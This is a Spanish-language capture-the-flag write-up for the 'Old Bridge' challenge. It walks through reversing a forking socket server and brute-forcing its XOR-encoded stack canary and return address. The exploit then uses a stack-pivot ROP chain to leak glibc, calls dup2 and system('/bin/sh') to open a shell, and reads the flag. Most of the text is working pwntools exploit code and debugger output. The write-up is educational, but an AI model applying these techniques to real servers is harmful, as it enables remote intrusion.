Old Bridge
17 minutos de lectura
Se nos proporciona un binario de 64 bits llamado oldbridge
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Tenemos casi todas las protecciones habilitadas, por lo que debemos realizar varios bypasses para explotar el binario.
Ingeniería inversa
Como en la mayoría de los retos de explotación de binarios, debemos hacer un paso de ingeniería inversa para obtener las instrucciones de ensamblador o el código fuente en C del binario para determinar qué está haciendo y cómo podemos explotarlo.
Esta es la función main
:
void main(int param_1, undefined8 *param_2) {
int iVar1;
long in_FS_OFFSET;
socklen_t local_50;
undefined4 local_4c;
int local_48;
undefined4 local_44;
int local_40;
__pid_t local_3c;
undefined local_38[4];
uint32_t local_34;
sockaddr local_28;
undefined8 local_10;
local_10 = *(undefined8 *) (in_FS_OFFSET + 0x28);
local_4c = 1;
if (param_1 != 2) {
printf("usage: %s <port>\n", *param_2);
/* WARNING: Subroutine does not return */
exit(1);
}
local_48 = atoi((char *) param_2[1]);
signal(2, exit_server);
server_sd = socket(2, 1, 0);
if (server_sd < 0) {
perror("socket");
/* WARNING: Subroutine does not return */
exit(1);
}
iVar1 = setsockopt(server_sd, 1, 2, &local_4c, 4);
if (iVar1 < 0) {
perror("setsockopt");
/* WARNING: Subroutine does not return */
exit(1);
}
local_38._0_2_ = 2;
local_34 = htonl(0);
local_38._2_2_ = htons((uint16_t) local_48);
local_44 = 0x10;
iVar1 = bind(server_sd, (sockaddr *) local_38, 0x10);
if (iVar1 < 0) {
perror("bind");
close(server_sd);
/* WARNING: Subroutine does not return */
exit(1);
}
iVar1 = listen(server_sd, 5);
if (iVar1 < 0) {
perror("listen");
close(server_sd);
/* WARNING: Subroutine does not return */
exit(1);
}
signal(0x11, (__sighandler_t) 0x1);
while (true) {
local_50 = 0x10;
local_40 = accept(server_sd, &local_28, &local_50);
if (local_40 < 0) {
perror("accept");
close(server_sd);
/* WARNING: Subroutine does not return */
exit(1);
}
local_3c = fork();
if (local_3c < 0) break;
if (local_3c == 0) {
iVar1 = check_username();
if (iVar1 != 0) {
write(local_40, "Username found!\n", 0x10);
}
close(local_40);
/* WARNING: Subroutine does not return */
exit(0);
}
close(local_40);
}
perror("fork");
close(local_40);
close(server_sd);
/* WARNING: Subroutine does not return */
exit(1);
}
Simplemente inicia un servidor de socket y llama a fork
cada vez que llega una nueva conexión. Este hecho será importante para la explotación.
Luego, llama a check_username
:
bool check_username(int param_1) {
int iVar1;
ssize_t sVar2;
long in_FS_OFFSET;
int local_420;
byte local_418[1032];
long local_10;
local_10 = *(long *) (in_FS_OFFSET + 0x28);
write(param_1, "Username: ", 10);
sVar2 = read(param_1, local_418, 0x420);
for (local_420 = 0; local_420 < (int) sVar2; local_420 = local_420 + 1) {
local_418[local_420] = local_418[local_420] ^ 0xd;
}
iVar1 = memcmp(local_418, "il{dih", 6);
if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return iVar1 == 0;
}
Vulnerabilidad de Buffer Overflow
Aquí tenemos una vulnerabilidad de Buffer Overflow porque la variable local_418
tiene asignados 1032 bytes y read
copia 0x420
= 1044 bytes en local_418
, desbordando el buffer reservado en 12 bytes.
Otra cosa a notar es que los datos de entrada se están cifrando con XOR y clave 0xd
. Finalmente, se compara con "il{dih "
. Podemos deshacer el cifrado de la siguiente manera:
$ python3 -q
>>> bytes([c ^ 0xd for c in b'il{dih']).decode()
'davide'
En este punto, tenemos el nombre de usuario esperado:
$ ./oldbridge 1234
$ nc 127.0.0.1 1234
Username: davide
Username found!
Pero no hay nada más…
Desarrollo del exploit
Comencemos el proceso de explotación obteniendo el valor canario de la pila. Dado que el programa se divide cuando llegan nuevas conexiones, la memoria del proceso padre se copia al proceso hijo. Por lo tanto, podemos usar fuerza bruta byte a byte para obtener todo el canario de la pila porque el hijo se bloqueará cuando el byte esté mal pero dará otra respuesta cuando el byte sobrescrito sea correcto.
Este es el comportamiento cuando sobrescribimos el canario de la pila:
$ ./oldbridge 1234
$ python3 -c 'print("A" * 1200)' | nc 127.0.0.1 1234
Username:
$ ./oldbridge 1234
*** stack smashing detected ***: terminated
Ataque de fuerza bruta
Este es el oráculo que necesitamos:
$ python3 -c 'print("A" * 1025)' | nc 127.0.0.1 1234
Username: Username found!
$ python3 -c 'print("A" * 1026)' | nc 127.0.0.1 1234
Username:
Con 6 + 1025 + 1 = 1032 bytes, obtenemos un mensaje Username found!
y con un byte más no recibimos el mensaje (y el registro del servidor muestra el error *** stack smashing detected ***
).
Este será el exploit inicial para extraer el canario por fuerza bruta:
#!/usr/bin/env python3
from pwn import *
context.binary = 'oldbridge'
def get_process():
with context.local(log_level='CRITICAL'):
if len(sys.argv) == 2:
port = sys.argv[1]
return remote('127.0.0.1', int(port))
host, port = sys.argv[1], sys.argv[2]
return remote(host, int(port))
def bruteforce_value(payload: bytes, value_name: str) -> bytes:
value = b''
value_progress = log.progress(value_name)
while len(value) < 8:
for c in range(256):
value_progress.status(repr(value + p8(c)))
p = get_process()
p.sendafter(b'Username: ', payload + value + p8(c))
try:
p.recvline()
value += p8(c)
except EOFError:
pass
finally:
with context.local(log_level='CRITICAL'):
p.close()
value_progress.success(repr(value))
return value
def main():
offset = 1026
username = b'davide'
junk = username + b'A' * offset
canary = bruteforce_value(junk, 'Canary')
if __name__ == '__main__':
main()
Y aquí tenemos el canario:
$ python3 solve.py 127.0.0.1:1234
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary: b'\r\xa9%\xf53\x1c\x1e\x8c'
Pero es raro. Por experiencia, sabemos que los canarios de pila comienzan con un byte nulo para evitar filtraciones en strings. Y aquí vemos un \r
(que es 0xd
). Algunos pueden haber notado lo que está sucediendo. Para el resto, podemos usar GDB para comparar los valores:
$ gdb -q oldbridge
Reading symbols from oldbridge...
(No debugging symbols found in oldbridge)
gef➤ start 1234
[+] Breaking at '0xc99'
gef➤ canary
[+] The canary of process 47056 is at 0x7fffffffea59, value is 0xd7564ed1f6b6e100
gef➤ continue
Continuing.
$ python3 solve.py 127.0.0.1:1234
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary: b'\r\xec\xbb\xfb\xdcC[\xda'
Representemos el valor canario en formato hexadecimal:
$ python3 -q
>>> from pwn import u64
>>> hex(u64(b'\r\xec\xbb\xfb\xdcC[\xda'))
'0xda5b43dcfbbbec0d'
No coinciden. Sabiendo que los dos primeros dígitos deberían ser 00
y son 0d
, debemos recordar que había un cifrado XOR con la clave 0xd
. De hecho, tenemos el valor del canario, pero cifrado:
>>> bytes([b ^ 0xd for b in b'\r\xec\xbb\xfb\xdcC[\xda'])
b'\x00\xe1\xb6\xf6\xd1NV\xd7'
>>> hex(u64(b'\x00\xe1\xb6\xf6\xd1NV\xd7'))
'0xd7564ed1f6b6e100'
Y ahí lo tenemos. Por lo tanto, nuestro proceso de fuerza bruta fue correcto. Ahora podemos continuar con los próximos pasos.
Bypass de PIE
Necesitamos burlar ASLR tanto para Glibc como para el binario (el PIE está habilitado). Podemos usar el mismo proceso de fuerza bruta porque después del valor del canario tenemos el $rbp
guardado del stack frame anterior y luego la dirección de retorno guardada.
Vamos a verlo en GDB, estableciendo un breakpoint después de la instrucción read
:
$ gdb -q oldbridge
Reading symbols from oldbridge...
(No debugging symbols found in oldbridge)
gef➤ disassemble check_username
Dump of assembler code for function check_username:
0x0000000000000b6f <+0>: push rbp
0x0000000000000b70 <+1>: mov rbp,rsp
0x0000000000000b73 <+4>: sub rsp,0x430
0x0000000000000b7a <+11>: mov DWORD PTR [rbp-0x424],edi
...
0x0000000000000bad <+62>: call 0x910 <write@plt>
0x0000000000000bb2 <+67>: lea rcx,[rbp-0x410]
0x0000000000000bb9 <+74>: mov eax,DWORD PTR [rbp-0x424]
0x0000000000000bbf <+80>: mov edx,0x420
0x0000000000000bc4 <+85>: mov rsi,rcx
0x0000000000000bc7 <+88>: mov edi,eax
0x0000000000000bc9 <+90>: call 0x970 <read@plt>
0x0000000000000bce <+95>: mov DWORD PTR [rbp-0x414],eax
0x0000000000000bd4 <+101>: mov DWORD PTR [rbp-0x418],0x0
0x0000000000000bde <+111>: jmp 0xc0b <check_username+156>
0x0000000000000be0 <+113>: mov eax,DWORD PTR [rbp-0x418]
...
0x0000000000000c57 <+232>: call 0x920 <__stack_chk_fail@plt>
0x0000000000000c5c <+237>: leave
0x0000000000000c5d <+238>: ret
End of assembler dump.
gef➤ break *check_username+95
Breakpoint 1 at 0xbce
gef➤ set follow-fork-mode child
gef➤ run 1234
Starting program: ./oldbridge 1234
$ python3 solve.py 127.0.0.1:1234
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] b'\0'
Starting program: ./oldbridge 1234
[Attaching after process 61133 fork to child process 61371]
[New inferior 2 (process 61371)]
[Detaching after fork from parent process 61133]
[Inferior 1 (process 61133) detached]
[Switching to process 61371]
Thread 2.1 "oldbridge" hit Breakpoint 1, 0x0000555555400bce in check_username ()
gef➤ canary
[+] The canary of process 61371 is at 0x7fffffffea59, value is 0x7370c9b1cae54f00
gef➤ x/10gx $rsp+0x400
0x7fffffffe620: 0x4141414141414141 0x4141414141414141
0x7fffffffe630: 0x4141414141414141 0x4141414141414141
0x7fffffffe640: 0x4141414141414141 0x7370c9b1cae54f00
0x7fffffffe650: 0x00007fffffffe6c0 0x0000555555400ecf
0x7fffffffe660: 0x00007fffffffe7b8 0x00000002000000f0
gef➤ x 0x00007fffffffe6c0
0x7fffffffe6c0: 0x0000000000000000
gef➤ x 0x0000555555400ecf
0x555555400ecf <main+566>: 0xbac8458b1674c085
Ahí tenemos el $rbp
guardado y la dirección de retorno guardada. Para ayudar al proceso de fuerza bruta, podemos dar a la función los dos primeros dígitos, que no cambiarán presumiblemente. De hecho, solo estamos interesados en la dirección de retorno, porque tiene una dirección del binario en tiempo de ejecución, por lo que podremos calcular la dirección base. Estas son la función xor
y la función main
actualizada del exploit de Python:
def xor(payload: bytes, key: int) -> bytes:
return bytes([b ^ key for b in payload])
def main():
offset = 1026
key = 0xd
username = xor(b'il{dih', key)
junk = username + b'A' * offset
help_canary = xor(b'\0', key)
help_ret = xor(b'\xcf', key)
xor_canary = bruteforce_value(junk, 'XOR Canary', value=help_canary)
xor_saved_rbp = bruteforce_value(junk + xor_canary, 'XOR saved $rbp')
xor_return_addr = bruteforce_value(junk + xor_canary + xor_saved_rbp, 'XOR return address', value=help_ret)
canary = u64(xor(xor_canary, key).ljust(8, b'\0'))
saved_rbp = u64(xor(xor_saved_rbp, key).ljust(8, b'\0'))
return_addr = u64(xor(xor_return_addr, key).ljust(8, b'\0'))
log.success(f'Canary: {hex(canary)}')
log.success(f'Saved $rbp: {hex(saved_rbp)}')
log.success(f'Return address: {hex(return_addr)}')
$ python3 solve.py 127.0.0.1:1234
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] XOR Canary: b'\rUMW\xc2\xc9\xd6\x9f'
[+] XOR saved $rbp: b'\x9d\xc5\x1cG\xf1r\r\r'
[+] XOR return address: b'\xc2\x03\xad\x91I[\r\r'
[+] Canary: 0x92dbc4cf5a405800
[+] Saved $rbp: 0x7ffc4a11c890
[+] Return address: 0x56449ca00ecf
Ahora podemos calcular fácilmente la dirección base del binario restando 0xecf
a la dirección de retorno guardada:
elf_base_addr = return_addr - 0xecf
log.success(f'ELF base address: {hex(elf_base_addr)}')
En este punto, podemos intentar usar gadgets como pop rdi; ret
para fugar una dirección dentro de Glibc y burlar ASLR. Estos serían los valores para la cadena ROP:
$ ROPgadget --binary oldbridge | grep 'pop rdi ; ret'
0x0000000000000f73 : pop rdi ; ret
$ objdump -d oldbridge | grep printf
0000000000000940 <printf@plt>:
940: ff 25 f2 16 20 00 jmpq *0x2016f2(%rip) # 202038 <printf@GLIBC_2.2.5>
cda: e8 61 fc ff ff callq 940 <printf@plt>
$ readelf -s oldbridge | grep check_username
78: 0000000000000b6f 239 FUNC GLOBAL DEFAULT 14 check_username
Entonces, esta es la cadena ROP (obsérvese el cifrado XOR):
pop_rdi_ret_addr = elf_base_addr + 0xf73
printf_got = elf_base_addr + 0x202038
printf_plt = elf_base_addr + 0x940
check_username_addr = elf_base_addr + 0xb6f
payload = junk
payload += xor_canary
payload += xor_saved_rbp
payload += xor(p64(pop_rdi_ret_addr), key)
payload += xor(p64(printf_got), key)
payload += xor(p64(printf_plt), key)
payload += xor(p64(check_username_addr), key)
Pero no funciona ni en el lado del cliente ni en el lado del servidor. El tema es que no hay suficiente espacio para una cadena ROP, solo para una dirección que sobrescribe la dirección de retorno.
Stack Pivot
Por lo tanto, debemos encontrar una manera de hacer un Stack Pivot. Por suerte, tenemos una función helper
para ayudarnos a realizar esta técnica:
$ objdump -M intel --disassemble=helper oldbridge
oldbridge: file format elf64-x86-64
Disassembly of section .init:
Disassembly of section .plt:
Disassembly of section .plt.got:
Disassembly of section .text:
0000000000000b3a <helper>:
b3a: 55 push rbp
b3b: 48 89 e5 mov rbp,rsp
b3e: 48 83 ec 10 sub rsp,0x10
b42: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
b49: 00 00
b4b: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax
b4f: 31 c0 xor eax,eax
b51: 58 pop rax
b52: c3 ret
b53: 5a pop rdx
b54: c3 ret
b55: 0f 05 syscall
b57: c3 ret
b58: 90 nop
b59: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8]
b5d: 64 48 33 04 25 28 00 xor rax,QWORD PTR fs:0x28
b64: 00 00
b66: 74 05 je b6d <helper+0x33>
b68: e8 b3 fd ff ff call 920 <__stack_chk_fail@plt>
b6d: c9 leave
b6e: c3 ret
Disassembly of section .fini:
La clave aquí son las instrucciones leave; ret
en el offset 0xb6d
. Esas instrucciones forman un gadget que nos permite establecer el puntero de la pila en el mismo valor que $rbp
ya que leave
es lo mismo que mov rbp, rsp; pop rbp
. Y luego el ret
nos llevará a la dirección señalada por $rbp
, que podemos controlar.
La estrategia es ingresar la cadena ROP en la sección de relleno del payload y establecer $rbp
en ese punto.
Ejecutemos el exploit con GDB adjunto y luego veamos dónde está $rbp
:
$ gdb -q oldbridge
Reading symbols from oldbridge...
(No debugging symbols found in oldbridge)
gef➤ run 1234
Starting program: ./oldbridge 1234
$ python3 solve.py 127.0.0.1:1234
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] XOR Canary: b'\r\xb0\xff#\x10%\xbb\x10'
[+] XOR saved $rbp: b'\xcd\xeb\xf2\xf2\xf2r\r\r'
[+] XOR return address: b'\xc2\x03MXXX\r\r'
[+] Canary: 0x1db6281d2ef2bd00
[+] Saved $rbp: 0x7fffffffe6c0
[+] Return address: 0x555555400ecf
[+] ELF base address: 0x555555400000
Muy bien, tenemos 0x7fffffffe6c0
como el valor del $rbp
guardado. Pongamos un breakpoint en GDB y ejecutemos nuevamente el exploit para verificar más cosas:
[Detaching after fork from child process 139491]
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ee3107 in __libc_accept (fd=0x3, addr=..., len=0x7fffffffe678) at ../sysdeps/unix/sysv/linux/accept.c:26
26 ../sysdeps/unix/sysv/linux/accept.c: No such file or directory.
gef➤ set follow-fork-mode child
gef➤ break *check_username+95
Breakpoint 1 at 0x555555400bce
gef➤ continue
Continuing.
$ python3 solve.py 127.0.0.1:1234
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[...../..] XOR Canary: b'\r\x00'
[Attaching after process 133185 fork to child process 143736]
[New inferior 2 (process 143736)]
[Detaching after fork from parent process 133185]
[Inferior 1 (process 133185) detached]
[Switching to process 143736]
Thread 2.1 "oldbridge" hit Breakpoint 1, 0x0000555555400bce in check_username ()
Ahora podemos mostrar el contenido de $rbp
en este punto (justo después de la llamada read
):
gef➤ p/x $rbp
$1 = 0x7fffffffe650
gef➤ x/gx 0x7fffffffe650
0x7fffffffe650: 0x00007fffffffe6c0
Vemos que $rbo
contiene una dirección (0x7fffffffe650
), y dentro de esta dirección encontramos nuestro valor extraído (0x00007fffffffe6c0
). Difieren en 0x70
.
Ahora encontremos la dirección de pila donde comienza nuestro payload (podemos buscar davide
):
gef➤ grep davide
[+] Searching 'davide' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe240 - 0x7fffffffe277 → "davideAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
Y la distancia entre nuestro payload y la dirección almacenada en $rbp
es 0x410
:
gef➤ p/x $rbp - 0x7fffffffe240
$2 = 0x410
Ahora, la idea es establecer $rbp
para indicar esta dirección más 0x70
y menos 0x8
para evitar problemas de alineación de la pila.
Por el momento, reciclaremos la cadena ROP anterior para ver si funciona. Pero no lo hace. Tal vez sea por usar printf
. En cambio, podemos usar write
, que necesita dos argumentos (el descriptor de archivo donde escribir y la dirección de la cadena a escribir). El segundo argumento irá en $rsi
, por lo que necesitamos otro gadget, y también la dirección de write
en la PLT:
$ ROPgadget --binary oldbridge | grep 'pop rsi'
0x0000000000000f71 : pop rsi ; pop r15 ; ret
$ objdump -d oldbridge | grep write
0000000000000910 <write@plt>:
910: ff 25 0a 17 20 00 jmpq *0x20170a(%rip) # 202020 <write@GLIBC_2.2.5>
bad: e8 5e fd ff ff callq 910 <write@plt>
ee4: e8 27 fa ff ff callq 910 <write@plt>
Ahora este es el payload de la cadena ROP, con la técnica de Stack Pivot:
pop_rdi_ret_addr = elf_base_addr + 0xf73
pop_rsi_pop_r15_ret_addr = elf_base_addr + 0xf71
leave_ret_addr = elf_base_addr + 0xb6d
printf_got = elf_base_addr + 0x202038
write_plt = elf_base_addr + 0x910
check_username_addr = elf_base_addr + 0xb6f
payload = username
payload += b'A' * (0x10 - len(username))
payload += xor(p64(pop_rdi_ret_addr), key)
payload += xor(p64(1), key)
payload += xor(p64(pop_rsi_pop_r15_ret_addr), key)
payload += xor(p64(printf_got), key)
payload += xor(p64(0), key)
payload += xor(p64(write_plt), key)
payload += xor(p64(check_username_addr), key)
payload += b'A' * (offset + len(username) - len(payload))
payload += xor_canary
payload += xor(p64(saved_rbp - 0x478), key)
payload += xor(p64(leave_ret_addr), key)
p = get_process()
p.sendafter(b'Username: ', payload)
p.interactive()
Observe que 0x478
es 0x410
más 0x70
y menos 0x8
, como se dijo antes.
Fugando direcciones de Glibc
Si lo ejecutamos, encontramos que se llama e imprime algunos bytes sin procesar (no visibles) y Username:
justo después, lo que significa que imprimimos los bytes de una dirección y ejecutamos check_username
:
$ python3 solve.py 127.0.0.1:1234
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary: 0x6f575195cffba600
[+] Saved $rbp: 0x7ffe877c9aa0
[+] Return address: 0x55e20e000ecf
[+] ELF base address: 0x55e20e000000
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
[*] Interrupted
$ ./oldbridge 1234
*** stack smashing detected ***: terminated
*** stack smashing detected ***: terminated
*** stack smashing detected ***: terminated
*** stack smashing detected ***: terminated
*** stack smashing detected ***: terminated
*** stack smashing detected ***: terminated
*** stack smashing detected ***: terminated
...
Username found!
Username found!
Username found!
...
Username found!
KUsername:
Para obtener la fuga en nuestro lado, debemos cambiar el descriptor del archivo (1
fue para stdout
, solo para fines de prueba). Los descriptores de archivos de socket generalmente están por encima de 3
. Podemos intentar hasta que encontremos el correcto.
A nivel local, es 4
:
$ python3 solve.py 127.0.0.1:1234
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary: 0x6f575195cffba600
[+] Saved $rbp: 0x7ffe877c9aa0
[+] Return address: 0x55e20e000ecf
[+] ELF base address: 0x55e20e000000
[*] Switching to interactive mode
\x90\x00\x84K\x7fUsername: $
[*] Interrupted
Y allí tenemos la fuga para burlar ASLR en Glibc. Ahora podemos tomarlo y calcular la dirección base de Glibc (nuevamente, en local):
$ ldd oldbridge
linux-vdso.so.1 (0x00007ffc43fd4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcf014d5000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcf018de000)
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep ' write'
900: 00000000001144a0 153 FUNC WEAK DEFAULT 15 writev@@GLIBC_2.2.5
2281: 000000000010e090 153 FUNC WEAK DEFAULT 15 write@@GLIBC_2.2.5
p = get_process()
p.sendafter(b'Username: ', payload)
write_addr = u64(p.recvuntil(b'Username: ').rstrip(b'Username: ').ljust(8, b'\0'))
log.success(f'Leaked write() address: {hex(write_addr)}')
write_offset = 0x10e090
glibc_base_addr = write_addr - write_offset
log.success(f'Glibc base address: {hex(glibc_base_addr)}')
p.close()
$ python3 solve.py 127.0.0.1:1234
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary: 0x6f575195cffba600
[+] Saved $rbp: 0x7ffe877c9aa0
[+] Return address: 0x55e20e000ecf
[+] ELF base address: 0x55e20e000000
[+] Leaked write() address: 0x7f4b84af0090
[+] Glibc base address: 0x7f4b849e2000
[*] Closed connection to 127.0.0.1 port 1234
Obteniendo RCE
Todo correcto. Ahora, para obtener una shell interactiva, necesitamos usar la conexión de socket. No podemos usar una reverse shell porque la instancia remota no tiene acceso a Internet.
Por lo tanto, llamaremos a dup2
para duplicar el descriptor de archivo del socket (4
) en stdin
(0
), stdout
(1
) y stderr
(2
). Finalmente, llamaremos a system("/bin/sh")
para obtener una shell interactiva sobre la conexión del socket.
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep dup2
627: 000000000010e8f0 37 FUNC GLOBAL DEFAULT 15 __dup2@@GLIBC_2.2.5
1017: 000000000010e8f0 37 FUNC WEAK DEFAULT 15 dup2@@GLIBC_2.2.5
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
237: 0000000000153a00 103 FUNC GLOBAL DEFAULT 15 svcerr_systemerr@@GLIBC_2.2.5
619: 00000000000522c0 45 FUNC GLOBAL DEFAULT 15 __libc_system@@GLIBC_PRIVATE
1430: 00000000000522c0 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
$ strings -atx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
1b45bd /bin/sh
Podemos usar un bucle para duplicar los descriptores del archivo más fácilmente:
dup2_offset = 0x10e8f0
system_offset = 0x522c0
bin_sh_offset = 0x1b45bd
dup2_addr = glibc_base_addr + dup2_offset
system_addr = glibc_base_addr + system_offset
bin_sh_addr = glibc_base_addr + bin_sh_offset
payload = username
payload += b'A' * (0x10 - len(username))
for fd in [0, 1, 2]:
payload += xor(p64(pop_rdi_ret_addr), key)
payload += xor(p64(socket_fd), key)
payload += xor(p64(pop_rsi_pop_r15_ret_addr), key)
payload += xor(p64(fd), key)
payload += xor(p64(0), key)
payload += xor(p64(dup2_addr), key)
payload += xor(p64(pop_rdi_ret_addr), key)
payload += xor(p64(bin_sh_addr), key)
payload += xor(p64(system_addr), key)
payload += b'A' * (offset + len(username) - len(payload))
payload += xor_canary
payload += xor(p64(saved_rbp - 0x478), key)
payload += xor(p64(leave_ret_addr), key)
p = get_process()
p.sendafter(b'Username: ', payload)
p.interactive()
Y logramos obtener una shell localmente:
$ python3 solve.py 127.0.0.1:1234
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary: 0x6f575195cffba600
[+] Saved $rbp: 0x7ffe877c9aa0
[+] Return address: 0x55e20e000ecf
[+] ELF base address: 0x55e20e000000
[+] Leaked write() address: 0x7f4b84af0090
[+] Glibc base address: 0x7f4b849e2000
[*] Closed connection to 127.0.0.1 port 1234
[*] Switching to interactive mode
$ ls
oldbridge
solve.py
Ahora necesitamos ejecutarlo de forma remota y encontrar la versión correcta de Glibc:
$ python3 solve.py 167.71.139.192:31230
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] XOR Canary: b"\r\x82\xee\x8dl'P\x8f"
[+] XOR saved $rbp: b'\x1d>\xa8\xde\xf2r\r\r'
[+] XOR return address: b'\xc2\xa3uE\xb3X\r\r'
[+] Canary: 0x825d2a6180e38f00
[+] Saved $rbp: 0x7fffd3a53310
[+] Return address: 0x55be4878aecf
[+] ELF base address: 0x55be4878a000
[+] Leaked write() address: 0x7f8817920280
[+] Glibc base address: 0x7f88178121f0
[*] Closed connection to 167.71.139.192 port 31230
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
Podemos tomar los últimos tres dígitos hexadecimales de la dirección y buscar por write
en https://libc.rip:
Flag
Finalmente, obtenemos que la última versión de la lista es la que usa la instancia remota. Simplemente actualizamos las cuatro offsets que necesitamos y ejecutamos el exploit nuevamente:
$ python3 solve.py 167.71.139.192:31230
[*] './oldbridge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] XOR Canary: b"\r\x82\xee\x8dl'P\x8f"
[+] XOR saved $rbp: b'\x1d>\xa8\xde\xf2r\r\r'
[+] XOR return address: b'\xc2\xa3uE\xb3X\r\r'
[+] Canary: 0x825d2a6180e38f00
[+] Saved $rbp: 0x7fffd3a53310
[+] Return address: 0x55be4878aecf
[+] ELF base address: 0x55be4878a000
[+] Leaked write() address: 0x7f8817920280
[+] Glibc base address: 0x7f8817829000
[*] Closed connection to 167.71.139.192 port 31230
[*] Switching to interactive mode
$ ls
core
flag.txt
oldbridge
$ cat flag.txt
HTB{q4i1q3_i1i3_p0a_a01}
El exploit completo se puede encontrar aquí: solve.py
.